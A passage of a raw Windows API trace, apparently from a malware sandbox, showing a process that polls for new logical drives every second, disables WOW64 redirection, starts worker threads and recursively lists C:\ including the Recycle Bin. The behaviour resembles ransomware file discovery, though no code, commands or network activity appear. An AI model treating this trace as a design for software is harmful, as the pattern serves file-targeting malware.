GetLogicalDrives () returned 0x4 [0086.576] Sleep (dwMilliseconds=0x3e8) [0087.681] GetLogicalDrives () returned 0x4 [0087.681] Sleep (dwMilliseconds=0x3e8) [0088.845] GetLogicalDrives () returned 0x4 [0088.847] Sleep (dwMilliseconds=0x3e8) [0090.138] GetLogicalDrives () returned 0x4 [0090.138] Sleep (dwMilliseconds=0x3e8) [0091.379] GetLogicalDrives () returned 0x4 [0091.380] Sleep (dwMilliseconds=0x3e8) [0092.965] GetLogicalDrives () returned 0x4 [0092.965] Sleep (dwMilliseconds=0x3e8) [0094.217] GetLogicalDrives () returned 0x4 [0094.217] Sleep (dwMilliseconds=0x3e8) [0095.987] GetLogicalDrives () returned 0x4 [0095.987] Sleep (dwMilliseconds=0x3e8) [0097.427] GetLogicalDrives () returned 0x4 [0097.427] Sleep (dwMilliseconds=0x3e8) [0098.578] GetLogicalDrives () returned 0x4 [0098.578] Sleep (dwMilliseconds=0x3e8) [0099.686] GetLogicalDrives () returned 0x4 [0099.686] Sleep (dwMilliseconds=0x3e8) [0100.697] GetLogicalDrives () returned 0x4 [0100.697] Sleep (dwMilliseconds=0x3e8) [0103.043] GetLogicalDrives () returned 0x4 [0103.043] Sleep (dwMilliseconds=0x3e8) [0104.392] GetLogicalDrives () returned 0x4 [0104.392] Sleep (dwMilliseconds=0x3e8) Thread: id = 17 os_tid = 0x7e4 [0075.037] GetProcessHeap () returned 0x11a0000 [0075.037] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x38) returned 0x11ba2d0 [0075.037] GetProcessHeap () returned 0x11a0000 [0075.037] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x18) returned 0x11b8910 [0075.037] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2cc [0075.037] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2d0 [0075.037] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2d4 [0075.037] GetProcessHeap () returned 0x11a0000 [0075.037] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x11cea40 [0075.038] GetProcessHeap () returned 0x11a0000 [0075.038] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x11dea48 [0075.038] GetProcessHeap () returned 0x11a0000 [0075.039] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x50) returned 0x11c5050 [0075.039] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x772d0000 [0075.039] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30 [0075.039] Wow64DisableWow64FsRedirection (in: OldValue=0x2fbfa14 | out: OldValue=0x2fbfa14*=0x0) returned 1 [0075.039] GetProcessHeap () returned 0x11a0000 [0075.039] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c5050 | out: hHeap=0x11a0000) returned 1 [0075.039] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0xba54bf, lpParameter=0x2fbfa1c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d8 [0075.040] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0xba54bf, lpParameter=0x2fbfa1c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dc [0075.041] GetProcessHeap () returned 0x11a0000 [0075.041] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x11eea50 [0075.041] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x2fbf790 | out: lpFindFileData=0x2fbf790*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xba572a, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x11b9c50 [0075.042] GetProcessHeap () returned 0x11a0000 [0075.042] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x11fea58 [0075.043] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\*", lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0x11b9c10 [0075.046] FindNextFileW (in: hFindFile=0x11b9c10, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1 [0075.046] FindNextFileW (in: hFindFile=0x11b9c10, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Logs", cAlternateFileName="")) returned 1 [0075.046] GetProcessHeap () returned 0x11a0000 [0075.046] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x120fa68 [0075.046] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9f10 [0075.050] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.050] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1 [0075.050] SetEvent (hEvent=0x2d0) returned 1 [0075.050] ResetEvent (hEvent=0x2d4) returned 1 [0075.050] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1 [0075.051] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 1 [0075.051] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 0 [0075.051] FindClose (in: hFindFile=0x11b9f10 | out: hFindFile=0x11b9f10) returned 1 [0075.051] GetProcessHeap () returned 0x11a0000 [0075.051] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x120fa68 | out: hHeap=0x11a0000) returned 1 [0075.052] FindNextFileW (in: hFindFile=0x11b9c10, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0075.052] GetProcessHeap () returned 0x11a0000 [0075.052] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x120fa68 [0075.053] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9c90 [0075.055] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.055] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1 [0075.055] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini", cAlternateFileName="GETCUR~1.INI")) returned 1 [0075.056] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1 [0075.056] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1 [0075.056] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1 [0075.056] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 0 [0075.056] FindClose (in: hFindFile=0x11b9c90 | out: hFindFile=0x11b9c90) returned 1 [0075.057] GetProcessHeap () returned 0x11a0000 [0075.057] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x120fa68 | out: hHeap=0x11a0000) returned 1 [0075.057] FindNextFileW (in: hFindFile=0x11b9c10, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0075.057] FindClose (in: hFindFile=0x11b9c10 | out: hFindFile=0x11b9c10) returned 1 [0075.058] GetProcessHeap () returned 0x11a0000 [0075.058] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11fea58 | out: hHeap=0x11a0000) returned 1 [0075.058] FindNextFileW (in: hFindFile=0x11b9c50, lpFindFileData=0x2fbf790 | out: lpFindFileData=0x2fbf790*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xba572a, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0075.059] GetProcessHeap () returned 0x11a0000 [0075.059] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x11ffa60 [0075.059] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\*", lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0x11b9c90 [0075.060] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1 [0075.060] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0075.060] GetProcessHeap () returned 0x11a0000 [0075.060] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1210a70 [0075.060] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9d50 [0075.061] FindNextFileW (in: hFindFile=0x11b9d50, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.061] FindNextFileW (in: hFindFile=0x11b9d50, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0075.061] FindNextFileW (in: hFindFile=0x11b9d50, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0075.061] FindClose (in: hFindFile=0x11b9d50 | out: hFindFile=0x11b9d50) returned 1 [0075.061] GetProcessHeap () returned 0x11a0000 [0075.061] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1210a70 | out: hHeap=0x11a0000) returned 1 [0075.062] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0075.062] GetProcessHeap () returned 0x11a0000 [0075.062] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1210a70 [0075.062] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9c10 [0075.063] FindNextFileW (in: hFindFile=0x11b9c10, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.063] FindNextFileW (in: hFindFile=0x11b9c10, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0075.063] FindNextFileW (in: hFindFile=0x11b9c10, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0075.063] FindClose (in: hFindFile=0x11b9c10 | out: hFindFile=0x11b9c10) returned 1 [0075.063] GetProcessHeap () returned 0x11a0000 [0075.063] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1210a70 | out: hHeap=0x11a0000) returned 1 [0075.064] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0075.064] FindClose (in: hFindFile=0x11b9c90 | out: hFindFile=0x11b9c90) returned 1 [0075.082] GetProcessHeap () returned 0x11a0000 [0075.082] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11ffa60 | out: hHeap=0x11a0000) returned 1 [0075.083] FindNextFileW (in: hFindFile=0x11b9c50, lpFindFileData=0x2fbf790 | out: lpFindFileData=0x2fbf790*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xba572a, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0075.083] FindNextFileW (in: hFindFile=0x11b9c50, lpFindFileData=0x2fbf790 | out: lpFindFileData=0x2fbf790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xba572a, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0075.084] 